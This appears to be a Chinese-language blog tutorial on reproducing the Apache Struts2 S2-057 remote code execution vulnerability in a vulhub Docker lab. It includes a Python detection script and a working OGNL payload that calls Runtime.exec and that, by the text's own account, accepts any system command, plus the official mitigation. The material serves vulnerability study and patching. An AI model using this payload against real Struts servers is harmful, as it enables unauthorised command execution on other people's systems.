Apache Struts是美國阿帕奇(Apache)軟件基金會負責維護的一個開源項目,是一套用於建立企業級Java Web 應用的開源MVC框架,主要提供兩個版本框架產品: Struts 1和Struts 2。 Struts2是一個基於MVC設計模式的Web應用框架,它本質上至關於一個servlet,在MVC設計模式中,Struts2做爲控制器(Controller)來創建模型與視圖的數據交互。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合併的全新的Struts 2框架。
java
定義XML配置時若是沒有設置namespace的值,而且上層動做配置中並無設置或使用通配符namespace時,可能會致使遠程代碼執行漏洞的發生。一樣也可能由於url標籤沒有設置value和action的值,而且上層動做並無設置或使用通配符namespace,從而致使遠程代碼執行漏洞的發生。linux
Struts 2.3 - Struts 2.3.34git
Struts 2.5 - Struts 2.5.16github
在線驗證:http://0day.websaas.com.cn/web
本地驗證:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057docker
附上一個大佬的pocapache
import sys import requests url = sys.argv[1] url_list = [i for i in url.split("/") if i != ''] payload = "${(65535+521)}" payload = "/" + payload + "/" num = 0 for str in url_list: num += 1 if num == 1: nurl = str continue elif num == 2: nurl = nurl + "//" + str continue elif num == len(url_list): nurl = nurl + payload + str continue else: nurl = nurl + "/" + str continue try: r = requests.head(nurl, stream=True).headers["Location"] except: print "不存在ST2-057漏洞!" exit() if r.find("66056") != -1: print "存在ST2-057漏洞!" else: print "不存在ST2-057漏洞!"
首先要安裝docker部署vulhubbootstrap
我用的是kali2018的虛擬機安裝的設計模式
更新數據bash
apt-get update
安裝docker
apt-get install docker.io
查看版本
docker -v
嘗試運行一下
docker images
出現鏡像列表則說明成功安裝,或者再進行驗證
docker run hello-world
若是出現
不要慌,服務器正從Docker Hub獲取到最新的Hello World鏡像,下載到本地,所以只需等待便可。
出現了上圖字樣表示安裝成功,若是沒用再次輸入docker run hello-world,回車就能驗證了。
接下來就須要安裝vulhub了,在這以前,須要先安裝pip
wget https://bootstrap.pypa.io/get-pip.py
安裝完成以後嘗試輸入pip,出現選項即說明安裝成功,接下來就能夠使用pip來安裝docker-compose
pip install docker-compose
直接從github上將vulhub拿下來,因爲某些緣由,直接下載vulhub會報錯,因此建議直接從github上下載,固然也能夠直接下載。
git clone https://github.com/vulhub/vulhub
不出意外的話,下載成功之後查看目錄下會出現vulhub,這個時候就能夠進去看看裏面有些什麼,固然裏面所包含靶站的仍是比較多的,均可以復現一些比較經典的漏洞。
這裏重點介紹下struts2-057漏洞吧,進入struts2目錄下,找到struts2-057,進去。
直接使用docker-compose將鏡像安裝起來。
docker-compose up -d
報錯了,看version都報錯
說沒用ssl_match模塊,應該是沒有下載完整,那麼咱們直接在網上去下載最新版:https://github.com/docker/compose/releases/tag/1.14.0-rc2,拉到最下面,下載linux版本的。
而後將文件上傳到 /usr/local/bin/ 文件夾下,而後將其重命名爲docker-compose,增長可執行:chmod +x /usr/local/bin/docker-compose ,而後再運行查看版本
如今進入struts2-057目錄而後執行 docker-compose up -d 命令,下載有點兒慢。
看下docker裏面鏡像庫,若是出現struts2鏡像則說明安裝成功。
查看psid,複製id後直接啓用環境。
docker exec -i -t <id> /bin/bash
環境就搭建起來了,訪問一下ip:port/struts2-showcase/
將url換成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
而後訪問
最後能夠看到已經變成了ip:port/struts2-showcase/222/register2.action
說明存在s2-057漏洞
中間的${(111+111)}是命令執行,獲得執行結果返回在後面的url呈現的頁面中
將${(111+111)} 替換用代碼執行編寫成命令執行的exp
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
拆分:
${ ( #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(), #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b), #d=new char[51020], #c.read(#d), #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(), #jas502n.println(#d), #jas502n.close()) }
中間的標紅的一段代碼中間的exec(‘’)函數裏面可執行任意系統命令,這裏是執行的calc調出計算器。
官方提供的臨時解決方案:當上層動做配置中沒有設置或使用通配符namespace時,驗證全部XML配置中的namespace,同時在JSP中驗證全部url標籤的value和action。
建議升級版本。